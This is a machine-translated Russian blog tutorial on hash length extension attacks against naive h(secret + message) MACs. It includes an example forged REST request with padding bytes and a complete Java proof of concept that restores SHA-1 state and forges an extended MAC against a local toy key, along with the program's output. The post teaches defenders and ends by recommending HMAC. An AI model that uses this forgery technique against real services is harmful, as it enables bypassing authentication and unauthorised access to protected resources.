Атаки с расширением длины хеша не представляют собой ничего сложного или сложного, если честно, речь идет только о том, как использовать хеш-функции. Как обсуждалось в одном из моих предыдущих постов, существует несколько типов хеш-функций, но этот пост посвящен криптографическим хеш-функциям. Мы не будем анализировать структуру конструкций Меркля – Дамгарда , на которых основано большинство современных криптографических хеш-функций. Необходимо знать следующие факты:
- хэш-функции работают с фиксированными размерами блоков
- входные данные разбиваются на части, чтобы соответствовать размеру блока
- если входные данные (или одна из их частей) меньше размера блока, недостающие байты дополняются
- хеш-значение представляет внутреннее состояние хеш-функции!
Это подразумевает возможность продолжить вычисление хеша со знанием значения хеша, даже если исходный ввод остается неизвестным. Единственное, что нужно сделать, — сбросить внутреннее состояние хэш-функции до значения хеш-функции.
Это только половина правды, так как, если мы не знаем о входных данных, мы не имеем понятия, сколько заполнения было необходимо для завершения операции хеширования.
Хеш-функция сделала следующее (после вызова, например, в Java engineDigest ()):
продолжить, пока не будет достигнут последний блок
- дополнить последний блок
- вывести дайджест
- сбросить внутреннее состояние
То, что действительно было хешировано, было что-то вроде этого
h (m) = данные + заполнение
Если мы хотим продолжить хеш, мы должны угадать длину данных, чтобы точно определить заполнение. Как только мы угадали длину справа, мы можем расширить хеш до следующего
h (m) = (данные + заполнение) + ourExtension + newPadding
К счастью, формат заполнения должен быть детерминированным (чтобы воссоздать хеш-значение, передавая те же входные данные), поэтому знание длины данных позволяет воссоздать заполнение. После выполнения этих шагов у нас есть полное внутреннее состояние хэш-функции при выводе дайджеста.
Как использовать это
В 2009 году Риццо и Дуонг использовали атаку с расширением длины хеша для взлома Flickr . Для простоты сделаем следующее предположение:
Веб-служба защищает свой REST API путем вычисления своего рода кода аутентификации сообщений (MAC) на основе хеш-функции
MAC = h (SECRET_PASSWORD + Resource)
Действительный запрос REST к защищенному ресурсу выглядит следующим образом
HTTP: // … / SomeAction ресурс = validMACsOnly & макинтош = XXXXXXXX
Пользователь может выполнить желаемое действие с ресурсом только в том случае, если подключенный MAC-адрес действителен. Нападение на это, похоже, задача грубой силы, пытаясь угадать секретный пароль …
Атака
Зная, как расширить хеш-значение, можно предоставить действительный MAC, не зная секретного пароля. Чтобы это работало, необходимо сбросить используемую хеш-функцию с внутренним состоянием при выводе дайджеста. Поэтому мы устанавливаем значение параметра mac как внутреннее состояние хэш-функции. С этими предварительными условиями мы можем вычислить действительный MAC.
Но это только половина пути, поскольку сервер предоставляет доступ, только если вычисленный MAC-адрес принадлежит переданным параметрам ресурса. Итак, в качестве следующего шага мы должны угадать оригинальный отступ. Чтобы получить этот отступ, мы просто пробуем все возможные дополнения, пока один из них не подходит.
Если нам удастся сделать правильный отступ, мы закончили. После старого заполнения (которое было необходимо, чтобы заполнить блок известного размера блока), мы начинаем, как следствие, новый блок. Таким образом, сервер проверяет следующее
h (m) = (oldData + recoveredPadding) + (ourExtension + newPadding) Помните, h (m) = (oldData + recoveredPadding) — это старые данные, которые ведут к известному MAC. Расширенные данные начинаются в новом блоке, это означает, что старое заполнение считается частью входных данных, а не дополнением вообще.
А вот как выглядит модифицированный запрос:
HTTP: // … / SomeAction ресурс = validMACsOnly \ x80 \ x00 … \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD8 & макинтош = XXXXXXXX
Несколько слов о набивке:
- отступ начинается с \ x80
- необходимое место для заполнения заполнено \ x00s
- последние 8 байтов представляют длину данных в битах (без заполнения)
Код
Для каждого, кто хочет поиграть с этим, вот код для вычисления допустимых расширений. Для PoC была исправлена общая библиотека SHA1, чтобы получить доступ к ее внутреннему состоянию. Модифицированный класс взят из провайдера безопасности Java.
|
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
|
import java.nio.charset.Charset;import java.security.DigestException;import java.util.Formatter;/** * Hash length extension attack - PoC. * * @author Christopher Meyer - [email protected] * @version 0.1 * * Jul 25, 2012 */public class HashLengthExtension { /** * Secret key. */ private static final String KEY = "NoNeedToRecoverKey"; /** * String to be MACed together with the key. */ private static final String TOMAC = "SecuredResource"; /** * Extension string to be added to the MAC. */ private static final String EXTENSION = "TheResourceRemainsUnsecured"; /** * Static Hash algorithm instance. */ private static final SHA1 HASH_ALGO = new SHA1(); /** * Blocksize of the algorithm in bytes. */ private static final int BLOCKSIZE = 64; /** * Padding. */ private static final byte[] PADDING = new byte[136]; static { // the first padding byte is 0x80 - by definition PADDING[0] = (byte) 0x80; } /** * Computes a valid input that extends a given hash. * * @param args the command line arguments */ public static void main(String[] args) throws DigestException { byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8")); byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8")); byte[] originalMAC = createMAC(toMACBytes); System.out.println("Original MAC : " + buildHexString(originalMAC)); byte[] macCandidate; byte[] hashInput; int pointer = 0; System.out.println("Recover digest state..."); HASH_ALGO.engineReset(); // set internal state to the one of the original MAC HASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1], originalMAC[2], originalMAC[3]); HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5], originalMAC[6], originalMAC[7]); HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9], originalMAC[10], originalMAC[11]); HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13], originalMAC[14], originalMAC[15]); HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17], originalMAC[18], originalMAC[19]); HASH_ALGO.bytesProcessed = BLOCKSIZE; System.out.println("Compute extension MAC..."); HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length); // compute the extended hash macCandidate = HASH_ALGO.engineDigest(); System.out.println("Extended MAC : " + buildHexString(macCandidate)); System.out.println("Trying to find suitable input...."); // determine the necessary input.... int j = 0; for (int i = 1; i <= PADDING.length; i++) { hashInput = new byte[toMACBytes.length + i + 8 + extensionBytes.length]; pointer = 0; /** * Compute new input */ // # add original message System.arraycopy(toMACBytes, 0, hashInput, pointer, toMACBytes.length); pointer += toMACBytes.length; // # add padding System.arraycopy(PADDING, 0, hashInput, pointer, i); pointer += i; // # add length of user data (8 bytes) // j is the computed length of the original message in bits // (blockSize - padding length - 8 length bytes) j = (BLOCKSIZE - i - 8) << 3; // the first word is 0 in our case, due to only 32 bit int hashInput[pointer] = 0; hashInput[pointer + 1] = 0; hashInput[pointer + 2] = 0; hashInput[pointer + 3] = 0; hashInput[pointer + 4] = (byte) ((j >>> 24)); hashInput[pointer + 5] = (byte) ((j >>> 16)); hashInput[pointer + 6] = (byte) ((j >>> 8)); hashInput[pointer + 7] = (byte) (j); pointer += 8; // # add extension System.arraycopy(extensionBytes, 0, hashInput, pointer, extensionBytes.length); pointer += extensionBytes.length; // # check guess if (isMACCorrect(macCandidate, hashInput)) { System.out.println("==> Hash input : " + buildHexString(hashInput)); System.out.println("==> Padding Length: " + i); System.out.println("==> Secret Length : " + (BLOCKSIZE - toMACBytes.length - i - 8)); break; } } } /** * Convert a byte[] to int. * * @param bytes 4 bytes array to be converted * @return Integer representation of the byte[] */ private static int bytesToInt(byte... bytes) { return (int) ((0xFF & bytes[0]) << 24 | (0xFF & bytes[1]) << 16 | (0xFF & bytes[2]) << 8 | (0xFF & bytes[3])); } /** * Checks if the input results creates the expected MAC. * * @param macToCheck Expected MAC * @param msg Modified input for MAC function (secret key remains unknown) * @return True if the modified input creates the expected MAC * @throws DigestException */ private static final boolean isMACCorrect(final byte[] macToCheck, final byte[] msg) throws DigestException { boolean result = true; byte[] referenceHash = createMAC(msg); System.out.println("Reference hash: " + buildHexString(referenceHash)); if (referenceHash.length != macToCheck.length) { result = false; } else { for (int i = 0; i < referenceHash.length; i++) { if (referenceHash[i] != macToCheck[i]) { result = false; break; } } } return result; } /** * Converts a byte[] to its Hex representation * @param bytes Bytes to be converted * @return Hex String of the passed byte[]. */ private static String buildHexString(byte[] bytes) { StringBuilder sb = new StringBuilder(bytes.length); Formatter formatter = new Formatter(sb); for (Byte tmpByte : bytes) { formatter.format("%02x ", tmpByte); } return sb.toString(); } /** * Creates a weak MAC of the form h(secret + msg). * * @param msg Message to get MACed * @return Weak MAC * @throws DigestException */ private static final byte[] createMAC(final byte[] msg) throws DigestException { byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8")); HASH_ALGO.engineReset(); HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length); HASH_ALGO.engineUpdate(msg, 0, msg.length); return HASH_ALGO.engineDigest(); }} |
Выполнение приведенного выше примера создает следующий вывод:
бег:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
Original MAC : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 Recover digest state...Compute extension MAC...Extended MAC : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 Trying to find suitable input....Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 ==> Hash input : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 6564 ==> Padding Length: 23==> Secret Length : 18 |
При использовании URL-кодирования результирующей строкой из hashInput является SecuredResource% 80% 01% 08TheResourceRemainsUnsecured, исходный ресурс, 23 байта заполнения (включая% 80), 8 байтов длины и новый ресурс. Таким образом, мы получаем (размер блока 64 байта — 23 байта заполнения — 8 байтов длины) * 8 бит = 264 битных исходных данных (секрет + ресурс) == 01 08 в шестнадцатеричном представлении.
Уроки выучены
Не злоупотребляйте криптографией, создавая собственные безопасные конструкции. Используйте хорошо утвержденные функции и конструкции. В этом случае использование функции HMAC было бы лучшим подходом вместо введения собственного MAC.
Очень хорошая запись в блоге на эту тему может быть найдена в блоге безопасности WhiteHat .
Ссылка: Атака на расширение длины хэша от нашего партнера по JCG Кристофера Мейера из блога по безопасности Java и связанным темам .